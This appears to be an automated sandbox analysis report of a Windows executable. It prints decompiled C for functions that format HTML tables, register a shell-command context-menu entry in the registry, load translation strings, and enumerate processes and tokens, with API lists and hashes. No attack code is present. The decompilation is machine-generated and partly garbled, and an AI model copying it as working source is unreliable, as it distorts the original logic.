</table><p>, xrefs: 00407980
<table border="1" cellpadding="5">, xrefs: 0040781B

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfmemset$wcscpy$wcscat
String ID: bgcolor="%s"$ nowrap$ $</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
API String ID: 1607361635-601624466
Opcode ID: 79dd95c05abc82e9b2e709e2cd57865f98d2b899bba57f456d4bed9a2e0af9fd
Instruction ID: c59e53cc54c64df10e6b193e6b6ea7c08fa255db16bc08a9aa92b01e8cbfba7b
Opcode Fuzzy Hash: 79dd95c05abc82e9b2e709e2cd57865f98d2b899bba57f456d4bed9a2e0af9fd
Instruction Fuzzy Hash: C8618E31940208EFDF14AF95CC85EAE7B79FF44310F1041AAF905BA2D2DB34AA54DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00407B5D, Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00407B5D(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, char _a16, char _a20, intOrPtr _a24) {
				void _v514;
				char _v516;
				void _v1026;
				long _v1028;
				void _v1538;
				char _v1540;
				void _v2050;
				char _v2052;
				char _v2564;
				char _v35332;
				char _t51;
				intOrPtr* _t54;
				void* _t61;
				intOrPtr* _t73;
				void* _t78;
				void* _t79;
				void* _t80;
				void* _t81;

				E0040B550(0x8a00, __ecx);
				_v2052 = 0;
				memset( &_v2050, 0, 0x1fc);
				_v1540 = 0;
				memset( &_v1538, 0, 0x1fc);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fc);
				_t79 = _t78 + 0x24;
				if(_a20 != 0xffffffff) {
					_push(E0040ADC0(_a20,  &_v2564));
					_push(L" bgcolor=\"%s\"");
					_push(0xff);
					_push( &_v2052);
					L0040B1EC();
					_t79 = _t79 + 0x18;
				}
				if(_a24 != 0xffffffff) {
					_push(E0040ADC0(_a24,  &_v2564));
					_push(L"<font color=\"%s\">");
					_push(0xff);
					_push( &_v1540);
					L0040B1EC();
					wcscpy( &_v1028, L"</font>");
					_t79 = _t79 + 0x20;
				}
				_push( &_v2052);
				_push(L"<table border=\"1\" cellpadding=\"5\"><tr%s>\r\n");
				_push(0x3fff);
				_push( &_v35332);
				L0040B1EC();
				_t80 = _t79 + 0x10;
				E00407343(_a4, _a8,  &_v35332);
				_t51 = _a16;
				if(_t51 > 0) {
					_t73 = _a12 + 4;
					_a20 = _t51;
					do {
						_v516 = 0;
						memset( &_v514, 0, 0x1fc);
						_t54 =  *_t73;
						_t81 = _t80 + 0xc;
						if( *_t54 == 0) {
							_v516 = 0;
						} else {
							_push(_t54);
							_push(L" width=\"%s\"");
							_push(0xff);
							_push( &_v516);
							L0040B1EC();
							_t81 = _t81 + 0x10;
						}
						_push( &_v1028);
						_push( *((intOrPtr*)(_t73 - 4)));
						_push( &_v1540);
						_push( &_v516);
						_push(L"<th%s>%s%s%s\r\n");
						_push(0x3fff);
						_push( &_v35332);
						L0040B1EC();
						_t80 = _t81 + 0x1c;
						_t61 = E00407343(_a4, _a8,  &_v35332);
						_t73 = _t73 + 8;
						_t36 =  &_a20;
						 *_t36 = _a20 - 1;
					} while ( *_t36 != 0);
					return _t61;
				}
				return _t51;
			}

0x00407b65
0x00407b7c
0x00407b83
0x00407b91
0x00407b98
0x00407ba6
0x00407bad
0x00407bb2
0x00407bb9
0x00407bca
0x00407bcb
0x00407bd6
0x00407bdb
0x00407bdc
0x00407be1
0x00407be1
0x00407be8
0x00407bf9
0x00407bfa
0x00407c05
0x00407c0a
0x00407c0b
0x00407c1c
0x00407c21
0x00407c21
0x00407c2a
0x00407c2b
0x00407c36
0x00407c3b
0x00407c3c
0x00407c41
0x00407c51
0x00407c56
0x00407c5b
0x00407c65
0x00407c68
0x00407c6b
0x00407c74
0x00407c7b
0x00407c80
0x00407c82
0x00407c88
0x00407ca6
0x00407c8a
0x00407c8a
0x00407c8b
0x00407c96
0x00407c9b
0x00407c9c
0x00407ca1
0x00407ca1
0x00407cb3
0x00407cb4
0x00407cbd
0x00407cc4
0x00407cc5
0x00407cd0
0x00407cd5
0x00407cd6
0x00407cdb
0x00407ceb
0x00407cf0
0x00407cf3
0x00407cf3
0x00407cf3
0x00000000
0x00407cfc
0x00407d00

APIs

memset.MSVCRT ref: 00407B83
memset.MSVCRT ref: 00407B98
memset.MSVCRT ref: 00407BAD
_snwprintf.MSVCRT ref: 00407BDC
_snwprintf.MSVCRT ref: 00407C0B
wcscpy.MSVCRT ref: 00407C1C
_snwprintf.MSVCRT ref: 00407C3C
memset.MSVCRT ref: 00407C7B
_snwprintf.MSVCRT ref: 00407C9C
_snwprintf.MSVCRT ref: 00407CD6

Part of subcall function 0040ADC0: _snwprintf.MSVCRT ref: 0040ADE4

Strings

<table border="1" cellpadding="5"><tr%s>, xrefs: 00407C2B
</font>, xrefs: 00407C16
<th%s>%s%s%s, xrefs: 00407CC5
bgcolor="%s", xrefs: 00407BCB
width="%s", xrefs: 00407C8B
<font color="%s">, xrefs: 00407BFA

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf$memset$wcscpy
String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
API String ID: 2000436516-3842416460
Opcode ID: d00ccfce514861463375abe2e6db6ffc98356b9832555c3fb27b3b8e17e2f823
Instruction ID: 17ce3237ebe69143205905a5a122d9f10e08837d2ebaecd13bb40ff2a02a5a8b
Opcode Fuzzy Hash: d00ccfce514861463375abe2e6db6ffc98356b9832555c3fb27b3b8e17e2f823
Instruction Fuzzy Hash: EA413371D40219AAEB20EB55CC86FAB737CFF45304F0440BAB918B6191D774AB948FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00404415, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 124
registryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404415(void* __ecx, void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				void* _v24;
				intOrPtr _v28;
				short _v32;
				void _v2078;
				signed int _v2080;
				void _v4126;
				char _v4128;
				void _v6174;
				char _v6176;
				void _v8222;
				char _v8224;
				signed int _t49;
				short _t55;
				intOrPtr _t56;
				int _t73;
				intOrPtr _t78;

				_t76 = __ecx;
				E0040B550(0x201c, __ecx);
				_t73 = 0;
				if(E004043F8( &_v8, 0x2001f) != 0) {
					L6:
					return _t73;
				}
				_v6176 = 0;
				memset( &_v6174, 0, 0x7fe);
				_t78 = _a4;
				_push(_t78 + 0x20a);
				_push(_t78);
				_push(L"%s\\shell\\%s\\command");
				_push(0x3ff);
				_push( &_v6176);
				L0040B1EC();
				if(E00409ECC(_t76, _v8,  &_v6176,  &_v12) == 0) {
					_t49 = E00409EF4(_v12, 0x40c4e8, _t78 + 0x414);
					asm("sbb ebx, ebx");
					_t73 =  ~_t49 + 1;
					RegCloseKey(_v12);
					_v2080 = _v2080 & 0x00000000;
					memset( &_v2078, 0, 0x7fe);
					E00404AD9( &_v2080);
					if(_v2078 == 0x3a) {
						_t55 =  *L"C:\\"; // 0x3a0043
						_v32 = _t55;
						_t56 =  *0x40ccdc; // 0x5c
						_v28 = _t56;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_v32 = _v2080;
						if(GetDriveTypeW( &_v32) == 3) {
							_v4128 = 0;
							memset( &_v4126, 0, 0x7fe);
							_v8224 = 0;
							memset( &_v8222, 0, 0x7fe);
							_push(_a4 + 0x20a);
							_push(_a4);
							_push(L"%s\\shell\\%s");
							_push(0x3ff);
							_push( &_v8224);
							L0040B1EC();
							_push( &_v2080);
							_push(L"\"%s\",0");
							_push(0x3ff);
							_push( &_v4128);
							L0040B1EC();
							E00409F1A(_t76, _v8,  &_v8224,  &_v4128);
						}
					}
				}
				RegCloseKey(_v8);
				goto L6;
			}

0x00404415
0x0040441d
0x0040442c
0x00404435
0x004045b3
0x004045b7
0x004045b7
0x0040444b
0x00404452
0x00404457
0x00404460
0x00404461
0x00404462
0x0040446d
0x00404472
0x00404473
0x00404490
0x004044a5
0x004044b4
0x004044b6
0x004044b7
0x004044bd
0x004044cf
0x004044db
0x004044eb
0x004044f1
0x004044f6
0x004044f9
0x004044fe
0x00404506
0x00404507
0x00404508
0x00404510
0x00404521
0x00404532
0x00404539
0x00404547
0x0040454e
0x0040455b
0x0040455c
0x00404564
0x0040456f
0x00404570
0x00404571
0x0040457c
0x0040457d
0x00404588
0x00404589
0x0040458a
0x004045a0
0x004045a5
0x00404521
0x004044eb
0x004045ab
0x00000000

APIs

memset.MSVCRT ref: 00404452
_snwprintf.MSVCRT ref: 00404473

Part of subcall function 00409ECC: RegCreateKeyExW.ADVAPI32(?,?,00000000,0040C4E8,00000000,000F003F,00000000,?,?,?,?,0040448B,?,?,?,?), ref: 00409EEC

RegCloseKey.ADVAPI32(?,?,?,?,0002001F,?,?,0040390E,?), ref: 004045AB

Part of subcall function 00409EF4: wcslen.MSVCRT ref: 00409EF8
Part of subcall function 00409EF4: RegSetValueExW.ADVAPI32(004044AA,004044AA,00000000,00000001,004044AA,?,004044AA,?,0040C4E8,?,?,?,?,0002001F), ref: 00409F13

RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,0002001F,?,?,0040390E,?), ref: 004044B7
memset.MSVCRT ref: 004044CF

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

GetDriveTypeW.KERNEL32(?), ref: 00404518
memset.MSVCRT ref: 00404539
memset.MSVCRT ref: 0040454E
_snwprintf.MSVCRT ref: 00404571
_snwprintf.MSVCRT ref: 0040458A

Part of subcall function 00409F1A: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409F57

Strings

%s\shell\%s, xrefs: 00404564
C:\, xrefs: 004044F1
"%s",0, xrefs: 0040457D
%s\shell\%s\command, xrefs: 00404462
:, xrefs: 004044E3

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Close_snwprintf$CreateDriveFileModuleNameTypeValuewcslen
String ID: "%s",0$%s\shell\%s$%s\shell\%s\command$:$C:\
API String ID: 486436031-734527199
Opcode ID: 1a4cdad823c9c3dfd4e992b957ed6e3c88109aac474059595a3945d4247565ab
Instruction ID: 27235bf79c6ca8476a2d09a82ed3c32274241934b1c07e7e02f5f4f3263a5ff1
Opcode Fuzzy Hash: 1a4cdad823c9c3dfd4e992b957ed6e3c88109aac474059595a3945d4247565ab
Instruction Fuzzy Hash: A4410EB294021CFADB20DB95CC85DDFB6BCEF44304F0084B6B608F2191E7789B559BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040645E, Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040645E(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, wchar_t* _a8) {
				void _v530;
				char _v532;
				void _v1042;
				long _v1044;
				long _v4116;
				char _v5164;
				void* __edi;
				void* _t27;
				void* _t38;
				void* _t44;

				E0040B550(0x142c, __ecx);
				_v1044 = 0;
				memset( &_v1042, 0, 0x1fc);
				_v532 = 0;
				memset( &_v530, 0, 0x208);
				E00404AD9( &_v532);
				_pop(_t44);
				E00405AA7( &_v5164);
				_t27 = E0040B04D( &_v5164,  &_v532);
				_t61 = _t27;
				if(_t27 != 0) {
					wcscpy( &_v1044,  &_v4116);
					_pop(_t44);
				}
				wcscpy(0x40fb90, _a8);
				wcscpy(0x40fda0, L"general");
				E00405FAC(_t61, L"TranslatorName", 0x40c4e8, 0);
				E00405FAC(_t61, L"TranslatorURL", 0x40c4e8, 0);
				E00405FAC(_t61, L"Version",  &_v1044, 1);
				E00405FAC(_t61, L"RTL", "0", 0);
				EnumResourceNamesW(_a4, 4, E0040620E, 0);
				EnumResourceNamesW(_a4, 5, E0040620E, 0);
				wcscpy(0x40fda0, L"strings");
				_t38 = E00406337(_t44, _t61, _a4);
				 *0x40fb90 =  *0x40fb90 & 0x00000000;
				return _t38;
			}

0x00406466
0x0040647d
0x00406484
0x00406499
0x004064a0
0x004064af
0x004064b4
0x004064bb
0x004064cd
0x004064d2
0x004064d4
0x004064e4
0x004064ea
0x004064ea
0x004064f3
0x00406503
0x00406514
0x00406525
0x0040653b
0x0040654e
0x00406568
0x00406572
0x0040657a
0x00406582
0x0040658a
0x00406596

APIs

memset.MSVCRT ref: 00406484
memset.MSVCRT ref: 004064A0

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

Part of subcall function 0040B04D: GetFileVersionInfoSizeW.VERSION(004064D2,?,00000000), ref: 0040B063
Part of subcall function 0040B04D: ??2@YAPAXI@Z.MSVCRT ref: 0040B07E
Part of subcall function 0040B04D: GetFileVersionInfoW.VERSION(004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B08E
Part of subcall function 0040B04D: VerQueryValueW.VERSION(00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0A1
Part of subcall function 0040B04D: VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0DE
Part of subcall function 0040B04D: _snwprintf.MSVCRT ref: 0040B0FE
Part of subcall function 0040B04D: wcscpy.MSVCRT ref: 0040B128

wcscpy.MSVCRT ref: 004064E4
wcscpy.MSVCRT ref: 004064F3
wcscpy.MSVCRT ref: 00406503
EnumResourceNamesW.KERNEL32(00406602,00000004,0040620E,00000000), ref: 00406568
EnumResourceNamesW.KERNEL32(00406602,00000005,0040620E,00000000), ref: 00406572
wcscpy.MSVCRT ref: 0040657A

Strings

TranslatorURL, xrefs: 00406520
TranslatorName, xrefs: 0040650F
RTL, xrefs: 00406549
general, xrefs: 004064F8
strings, xrefs: 00406574
SFM, xrefs: 00406502
Version, xrefs: 00406536

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$File$EnumInfoNamesQueryResourceValueVersionmemset$??2@ModuleNameSize_snwprintf
String ID: RTL$SFM$TranslatorName$TranslatorURL$Version$general$strings
API String ID: 3037099051-2314623505
Opcode ID: 7fb88fb6233af2db2d2511ed574e16bdb1e94482582c0cb23d08965938a53254
Instruction ID: e6de4c2f5101c47608bcafe23e33f00a3ad23f8f2b1db811bf874d9a9dfc23cd
Opcode Fuzzy Hash: 7fb88fb6233af2db2d2511ed574e16bdb1e94482582c0cb23d08965938a53254
Instruction Fuzzy Hash: ED21547294021875DB20B756DC4BECF3A6CEF44754F0105BBB508B21D2D7BC5A9489ED

Uniqueness

Uniqueness Score: -1.00%

Function 00409A94, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00409A94(long _a4, intOrPtr _a8) {
				int _v8;
				int _v12;
				int _v16;
				void* _v20;
				void* _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				char _v60;
				void _v315;
				char _v316;
				void _v826;
				char _v828;
				void _v1338;
				char _v1340;
				void* __esi;
				void* _t61;
				_Unknown_base(*)()* _t93;
				void* _t94;
				int _t106;
				void* _t108;
				void* _t110;

				_v828 = 0;
				memset( &_v826, 0, 0x1fe);
				_v1340 = 0;
				memset( &_v1338, 0, 0x1fe);
				_t110 = _t108 + 0x18;
				_t61 = OpenProcess(0x400, 0, _a4);
				_t113 = _t61;
				_v20 = _t61;
				if(_t61 == 0) {
					L11:
					if(_v828 == 0) {
						__eflags = 0;
						return 0;
					}
					_push( &_v828);
					_push( &_v1340);
					_push(L"%s\\%s");
					_push(0xff);
					_push(_a8);
					L0040B1EC();
					return 1;
				}
				_v8 = 0;
				_v24 = 0;
				E00408F92( &_v8, _t113, _t61, 8,  &_v24);
				_t106 = _v24;
				if(_t106 == 0) {
					_t32 =  &_v20; // 0x4059ec
					E00409555( *_t32,  &_v36,  &_v44,  &_v52,  &_v60);
					_v316 = 0;
					memset( &_v315, 0, 0xfe);
					_t110 = _t110 + 0x20;
					_v16 = 0xff;
					__eflags = E00409A46(0x41c4b4, _a4,  &_v316,  &_v16, _v36, _v32);
					if(__eflags == 0) {
						L9:
						CloseHandle(_v20);
						if(_v8 != 0) {
							FreeLibrary(_v8);
						}
						goto L11;
					}
					_push( &_v28);
					_push( &_a4);
					_push( &_v1340);
					_push( &_v12);
					_push( &_v828);
					_a4 = 0xff;
					_push( &_v316);
					L8:
					_v12 = 0xff;
					E0040906D( &_v8, _t117);
					goto L9;
				}
				_v316 = 0;
				memset( &_v315, 0, 0xff);
				_v12 = _t106;
				_t110 = _t110 + 0xc;
				_a4 = 0;
				if(E00408F72( &_v8) == 0) {
					goto L9;
				}
				_t93 = GetProcAddress(_v8, "GetTokenInformation");
				if(_t93 == 0) {
					goto L9;
				}
				_t94 =  *_t93(_v12, 1,  &_v316, 0xff,  &_a4);
				_t117 = _t94;
				if(_t94 == 0) {
					goto L9;
				}
				_push( &_v28);
				_push( &_v12);
				_push( &_v1340);
				_push( &_v16);
				_push( &_v828);
				_push(_v316);
				_v16 = 0xff;
				goto L8;
			}

0x00409ab0
0x00409ab7
0x00409ac8
0x00409acf
0x00409ad4
0x00409ae0
0x00409ae6
0x00409ae8
0x00409af0
0x00409c3a
0x00409c41
0x00409c67
0x00000000
0x00409c67
0x00409c49
0x00409c50
0x00409c51
0x00409c56
0x00409c57
0x00409c5a
0x00000000
0x00409c64
0x00409b00
0x00409b03
0x00409b06
0x00409b0b
0x00409b10
0x00409ba9
0x00409bac
0x00409bc1
0x00409bc7
0x00409bcc
0x00409bd8
0x00409bf0
0x00409bf2
0x00409c23
0x00409c26
0x00409c2f
0x00409c34
0x00409c34
0x00000000
0x00409c2f
0x00409bf7
0x00409bfb
0x00409c02
0x00409c06
0x00409c0d
0x00409c14
0x00409c17
0x00409c18
0x00409c1b
0x00409c1e
0x00000000
0x00409c1e
0x00409b1f
0x00409b25
0x00409b2a
0x00409b2d
0x00409b33
0x00409b3d
0x00000000
0x00000000
0x00409b4b
0x00409b53
0x00000000
0x00000000
0x00409b6a
0x00409b6c
0x00409b6e
0x00000000
0x00000000
0x00409b77
0x00409b7b
0x00409b82
0x00409b86
0x00409b8d
0x00409b8e
0x00409b94
0x00000000

APIs

memset.MSVCRT ref: 00409AB7
memset.MSVCRT ref: 00409ACF
OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,00000000,00000000), ref: 00409AE0
_snwprintf.MSVCRT ref: 00409C5A

Part of subcall function 00408F92: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00408FA8

memset.MSVCRT ref: 00409B25
GetProcAddress.KERNEL32(?,GetTokenInformation), ref: 00409B4B
memset.MSVCRT ref: 00409BC7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000008,?), ref: 00409C26
FreeLibrary.KERNEL32(?,?,?,?,?,?,00000000,00000008,?,?,?,?,?,00000000,00000000), ref: 00409C34

Strings

%s\%s, xrefs: 00409C51
Y@, xrefs: 00409BA9
GetTokenInformation, xrefs: 00409B43

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$AddressProc$CloseFreeHandleLibraryOpenProcess_snwprintf
String ID: %s\%s$GetTokenInformation$Y@
API String ID: 3504373036-27875219
Opcode ID: fa417e9f9b304094a666d2d32e69bd60d5871efe85622ded7a3fc1f13b21d4e3
Instruction ID: eda2fbc970d96949daa6443d9737cdff9b2c135ab99c7c98679ff10ae30762ca
Opcode Fuzzy Hash: fa417e9f9b304094a666d2d32e69bd60d5871efe85622ded7a3fc1f13b21d4e3
Instruction Fuzzy Hash: E451C9B2C0021DBADB51EB95DC81DEFBBBDEB44344F1045BAB505B2191EA349F84CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409172, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409172() {
				void* _t1;
				int _t2;
				struct HINSTANCE__* _t5;

				if( *0x4101bc != 0) {
					return _t1;
				}
				_t2 = E00405436(L"psapi.dll");
				_t5 = _t2;
				if(_t5 == 0) {
					L10:
					return _t2;
				} else {
					_t2 = GetProcAddress(_t5, "GetModuleBaseNameW");
					 *0x40f848 = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t5, "EnumProcessModules");
						 *0x40f840 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t5, "GetModuleFileNameExW");
							 *0x40f838 = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t5, "EnumProcesses");
								 *0x40fa6c = _t2;
								if(_t2 != 0) {
									_t2 = GetProcAddress(_t5, "GetModuleInformation");
									 *0x40f844 = _t2;
									if(_t2 != 0) {
										 *0x4101bc = 1;
									}
								}
							}
						}
					}
					if( *0x4101bc == 0) {
						_t2 = FreeLibrary(_t5);
					}
					goto L10;
				}
			}

0x00409179
0x00409209
0x00409209
0x00409185
0x0040918a
0x0040918f
0x00409208
0x00000000
0x00409191
0x0040919e
0x004091a2
0x004091a7
0x004091af
0x004091b3
0x004091b8
0x004091c0
0x004091c4
0x004091c9
0x004091d1
0x004091d5
0x004091da
0x004091e2
0x004091e6
0x004091eb
0x004091ed
0x004091ed
0x004091eb
0x004091da
0x004091c9
0x004091b8
0x004091ff
0x00409202
0x00409202
0x00000000
0x004091ff

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040919E
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004091AF
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 004091C0
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004091D1
GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 004091E2
FreeLibrary.KERNEL32(00000000), ref: 00409202

Strings

EnumProcesses, xrefs: 004091CB
GetModuleInformation, xrefs: 004091DC
GetModuleBaseNameW, xrefs: 00409198
psapi.dll, xrefs: 00409180
GetModuleFileNameExW, xrefs: 004091BA
EnumProcessModules, xrefs: 004091A9

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Library$Load$Freememsetwcscat
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 1182944575-70141382
Opcode ID: d87044beb2f544c687dd7353a18839beb98a5be9ca02ea53753111702b61b9a8
Instruction ID: e8d56a808bd010e6a3fef0dff4ae07571f85a6d4972d2e5c8a67e4e39b9e152a
Opcode Fuzzy Hash: d87044beb2f544c687dd7353a18839beb98a5be9ca02ea53753111702b61b9a8
Instruction Fuzzy Hash: 33017175A41207BAD7205B656D88FB739E49B91B51B14413FE404F12D2DB7C88459F2C

Uniqueness

Uniqueness Score: -1.00%

Function 004090EE, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004090EE() {
				void* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t4;

				if( *0x4101b8 != 0) {
					return _t1;
				}
				_t2 = GetModuleHandleW(L"kernel32.dll");
				_t4 = _t2;
				if(_t4 == 0) {
					L9:
					return _t2;
				}
				_t2 = GetProcAddress(_t4, "CreateToolhelp32Snapshot");
				 *0x40f83c = _t2;
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t4, "Module32First");
					 *0x40f834 = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t4, "Module32Next");
						 *0x40f830 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t4, "Process32First");
							 *0x40f5c4 = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t4, "Process32Next");
								 *0x40f828 = _t2;
								if(_t2 != 0) {
									 *0x4101b8 = 1;
								}
							}
						}
					}
				}
				goto L9;
			}

0x004090f5
0x00409171
0x00409171
0x004090fd
0x00409103
0x00409107
0x00409170
0x00000000
0x00409170
0x00409116
0x0040911a
0x0040911f
0x00409127
0x0040912b
0x00409130
0x00409138
0x0040913c
0x00409141
0x00409149
0x0040914d
0x00409152
0x0040915a
0x0040915e
0x00409163
0x00409165
0x00409165
0x00409163
0x00409152
0x00409141
0x00409130
0x00000000

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00408C9F), ref: 004090FD
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 00409116
GetProcAddress.KERNEL32(00000000,Module32First), ref: 00409127
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 00409138
GetProcAddress.KERNEL32(00000000,Process32First), ref: 00409149
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0040915A

Strings

kernel32.dll, xrefs: 004090F8
Module32First, xrefs: 00409121
CreateToolhelp32Snapshot, xrefs: 00409110
Module32Next, xrefs: 00409132
Process32Next, xrefs: 00409154
Process32First, xrefs: 00409143

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
API String ID: 667068680-3953557276
Opcode ID: 684ed8b1756a354eaa76eb9bf25297defa38c2621817bb94c0e51767f3dc11ec
Instruction ID: 22745fca4ee5753030f6263dae9a7fe791be1dfa5e14f8ddaef7bf0c79e2feda
Opcode Fuzzy Hash: 684ed8b1756a354eaa76eb9bf25297defa38c2621817bb94c0e51767f3dc11ec
Instruction Fuzzy Hash: D6F01D71F41313EAE761AB786E84F673AF85A85B44714403BA804F53D9EB7C8C46CA6C

Uniqueness

Uniqueness Score: -1.00%

Function 00409F9C, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00409F9C(intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8, long long* _a12, long long _a16) {
				void _v514;
				char _v516;
				void _v1026;
				char _v1028;
				void _v1538;
				char _v1540;
				void* _t39;
				intOrPtr* _t50;
				void* _t61;

				_t50 = __ecx;
				_push(0x1fe);
				_push(0);
				if( *((intOrPtr*)(__ecx + 4)) == 0) {
					_v1540 = 0;
					memset( &_v1538, ??, ??);
					_v1028 = 0;
					memset( &_v1026, 0, 0x1fe);
					_v516 = 0;
					memset( &_v514, 0, 0x1fe);
					L0040B1EC();
					 *((long long*)(_t61 + 0x2c)) = _a16;
					L0040B1EC();
